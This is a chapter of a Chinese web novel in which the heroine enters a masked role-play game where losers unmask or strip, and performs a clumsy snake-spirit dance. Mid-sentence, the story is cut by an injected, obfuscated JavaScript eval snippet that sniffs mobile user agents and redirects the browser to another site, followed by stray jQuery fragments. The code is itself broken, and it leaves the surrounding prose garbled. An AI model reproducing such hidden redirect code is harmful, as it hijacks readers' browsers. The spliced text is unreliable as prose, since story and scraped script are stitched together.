莲反 作品
78. 戏开场了
有钱的都是爷。
无论男女。
“让她进来吧。”
一道冷冷的声音从身后传来。
嘉音的声音。
此刻,她正戴着一张孔雀纹样的面具,衣裙亦是配套的孔雀蓝。
流光溢彩。
完全不似花魁大赛时的低调样子。
“陶姑娘,你来这里,你夫君知道么?”
她知道,沈卓将这个娘子看得很重。
自己这个突然冒出来的妹妹,很是碍眼。
可是,这次又不是她主动招惹的。
这个女人来得正好,自己这个计划说不定还要借她的一臂之力。
“……”这似乎才是这个嘉音的本来面目。
“我去哪里,都和他没有关系。”
陶夭没好气地翻个白眼,心情很是不美。
嘉音的目光落回她身上。
显然已是有了决定。
“也是巧了。”
她将额上的蓝色面具揭开一点。
“这个游戏其实不常有的,而且今夜是今年最大规模的一次。这面具要本金的,你确定你玩得起?”
陶夭双手抱臂,毫不退让。
“什么游戏能让本姑娘玩不起?我倒是想见识见识。”
她还偏不信这个邪了。
“你这面具多少钱?”
陶夭心下算盘打得飞起。
难不成那面具上的金色彩绘是纯金?
那要多少钱?
自己能不能赊账呀?
陶夭心里打鼓,面上沉默。
“你可要考虑清楚了。”
嘉音察觉到她的犹豫,轻笑一声。
“这个游戏,怕是真的不适合陶姑娘你呀。若是不小心让你受了伤,那沈公子定是会怪我的呀。”
陶夭眯起眼睛:“适不适合玩,那也要玩了才知道呀?”
她完全被嘉音的态度激怒了。
“那到时候你可别后悔。”
这送上门来的,她也是提醒过了。
那便也怪不了她了。
嘉音没有再说话,而是轻轻侧身,做了个“请”的手势。
“既如此,那陶姑娘请进,这边交定金。不过……丑话说在前头——自己惹的麻烦,到时候可别哭哦。”
“麻烦?”
陶夭头也不回地迈进大观楼。
“放心,我一向很会解决麻烦。”
一踏进大观楼,陶夭当即感受到了一种异样气氛。
那些戴着各式面具的人三三两两地站在一起,低声交谈。
陶夭的出现,立刻引起了一些人的注意。
“你怎么不戴面具?”
一个头戴黄面具的男人上下打量着陶夭,声音里带着几分疑惑和探究。
陶夭不紧不慢地冲人笑笑,说出的话却是相当欠扁。
“你猜?”
黄面具男人的语气有些不善。
“你不要破坏规矩。”
“规矩,谁定的?”
陶夭不慌不忙,环视一圈,语气透着一股毫不在意的自信。
“本姑娘天生丽质,又有钱。干嘛非要戴面具啊?”
一旁的嘉音轻笑着插话:“若陶姑娘你今晚是来挑战规矩的,那恕本楼不能接待。另外,参与费也是不退的,陶姑娘可得想清楚了。”
“……行,我挑挑啊,带路吧。”
为了破案,陶夭倒是也不太纠结。
这会儿正好捞一个面具回去当物证。
就让官府报销!
嘉音走在前方,裙裾拖曳。
她带着陶夭穿过大堂,来到一侧的偏厅。
推开门,一整排面具映入眼帘。
还有一股古怪的味道。
陶夭忍不住掩了鼻子。
嫌弃脸。
要说这些面具吧……说丑也不是。
每一个都纹路不一,颜色各异。
显然是定制的。
最左边的面具是白脸忠臣,脸上描金点银。
往右,是一只红脸面具,中央用细细的金线勾勒出火焰纹路。
正中间是一只极为妖娆的粉色面具,两侧还垂挂着流苏。
那怪味想必就是因为那些刷木材的漆造成的?
陶夭犹豫一阵,目光最终落在了一只青色的漆色面具上。
那青底上点缀着几朵暗紫色的梅花,线条干净利落。
相当适合孤高的侠客。
陶夭便将青面具取下,于手中掂了掂。
“这面具不错,正适合~”
她就是这般奇女子么~
其实,这面具也让她想到另一人。
“选好了?”
嘉音抬手从右边摘下了一只金色的凤纹面具。
“陶姑娘,接下来可要小心了。”
陶夭冷哼一声。
“就看看谁更会演戏好了。”
戴着面具不就是让人掩藏自己的真实身份么?
“咦……”
陶夭摸摸面具里侧。
“这背面如何还有一个突出的?”
就位于这面具的嘴部。
“这是为了游戏涉及的一个小机关。不用担心,这些面具都很干净的。”
“真的假的?”陶夭迟疑了一下。
“你去哪儿?”
嘉音冲人招招手。
“会场往这里。”
“去个东厕。人有三急呐,嘉音仙女!”
陶夭没好气道。
不多时,青色的面具人便游荡在一楼大厅了。
陶夭其实还蛮喜欢这个扮演游戏。
她一早就表示过了嘛——不喜欢被人看透!
这会儿,某只幺蛾子又发挥了其社牛的天赋。
穿梭于各个面具男女中,东一榔头,西一棒槌,撒娇卖萌。
总算是打听到了不少情报。
其实这个游戏的规则还挺简单的——每个人都必须戴上面具,然后从戏箱中抽取一个角色。
角色多种多样,有大臣、丫鬟、戏子、江湖浪客、武林高手,甚至还有神佛鬼怪。
抽签后,所有人便要根据自己的角色开始即兴演出,或者按照事先拟好的场景互动。
其实不过就是之前那个行令游戏的高级版。
当然了,之所以要交这么多费用,总归还是与寻常游戏有些不同的。
那并不只是单纯的扮演或是命令,最大的刺激之处在于——输了的人要付出代价。
代价就是脱衣服。一旦某个角色的言行与扮演设定不符,裁判会毫不留情地敲响铜锣,宣布此人失败。
陶夭借着面具看向现场。
有好多戴着面具,赤身裸体,却还戴着面具。
失败者必须摘下面具,露出真容,或者脱下一件衣物作为惩罚。
玩到最后,可不是就剩下最后一层遮羞布了么。
陶夭忍不住瘪嘴。
没有衣服没关系,没有脸才是头等大事。
这游戏的神秘感与刺激感很大程度上都来源于面具。
只可惜呀,场上那些坦诚相见的男男女女么……也不见得好看到哪里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15524767|164562||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
去。
某个女人其实早就趁沈卓不注意或者睡着时偷瞄过一些。
而且当初不是也给他揉过肚子么。
手感还是很好的……啊呸,你到底在想什么啊萧桃!
陶夭紧了紧牙关。
她方才就细看过这些面具,它们不仅造型各异,还附加了一种特殊的机关:面具内部有一个小巧的塞嘴装置,一旦戴上,便必须咬住其中的短木嘴。
“这玩意儿是干什么用的?”
那会儿,陶夭摸了摸青面具内的木嘴,忍不住好奇。
嘉音笑而不语,只是举着自己的金凤面具:“你咬着试试就知道了。”
戴上面具后,陶夭才意识到——这短木嘴不仅可以让佩戴者保持沉默,还能限制发声,逼着所有人通过肢体、眼神、和有限的声音来表达自己的角色。比如大笑时只能发出闷哼,喊叫时也只能用含糊的低语。
它多少是增添了游戏的难度与趣味,也让参与者更注重表演细节和表现力。
如今,戴着不同戏曲面具的达官显贵们,就像戏子一样,开始了他们的表演。
他们一向热爱看戏。
从单纯的喜爱到下场演戏——这甚至成为了他们的另一种“仕途娱乐”。
不过就是功成名就的达官显贵追求刺激的一种新方式。
这会儿,抽签的盒子已经被一个头戴面具的小童捧到了陶夭面前。
陶夭伸手,随便一摸。
只见那纸条上写着。
“青蛇妖——以舞迷惑忠臣,暗查奸佞。”
她赶紧护住纸条,抬头看向人群,迅速锁定了红脸忠臣。
陶夭轻咳一声,抬手理了理面具,相当自信。
不就是扮个妖精吗?
不就是跳舞么!
姐有的是才华!
没吃过猪肉,还没见过猪跑么!
别的不说,白蛇传这出戏文她还是看了很多遍的!
陶夭深吸一口气,抬起腿,迈出了自认为是颇具蛇妖韵味的一步。
谁知被脚下裙裾一绊,差点摔了个趔趄。
最终只能用一个极为夸张的甩袖动作掩饰过去。
紧接着的表演更是别出心裁——陶夭一会儿学着蛇的姿态扭腰摆尾,一会儿踮起脚尖做出有些滑稽的回眸。
周围人渐渐的都注意到了她这条乱七八糟的蛇精。
陶夭还在那沉醉呢。
她自然是觉得——自己的表演无比成功。
末了,她竟还双手抱拳对着人群拱手,仿佛在说——列位看官,多捧场!
场面一时陷入了诡异的寂静。
满屋的歌伎和官员们全都呆呆地看着陶夭。
没能从她的“惊艳”表演中回过神来。
陶夭眼见气氛微妙,便想拯救一二。
她想了想,一个扭腰旋转后,又别出心裁地接了一个大跳。
直接扑到那目标人物——红面具跟前。
那是在模仿之前看过的戏台上那种武生落马。
红面具的忠臣显然是没见过这种类型的妖精。
一时之间竟不知如何反应。
锣鼓声框框作响。
“姑娘这一舞,堪称绝佳!”
一个戴花脸面具的裁判拍掌。
“只是妖精是迷人的,不是逗乐的。”
陶夭差点怒掀面具。
好歹是忍住了。
“你们懂什么?这叫创新!”
“姑娘莫急,倒是也可以问问在场观众们的意思。”
花面人又敲敲锣鼓。
甚至有人开始拍桌支持陶夭。
答案显而易见。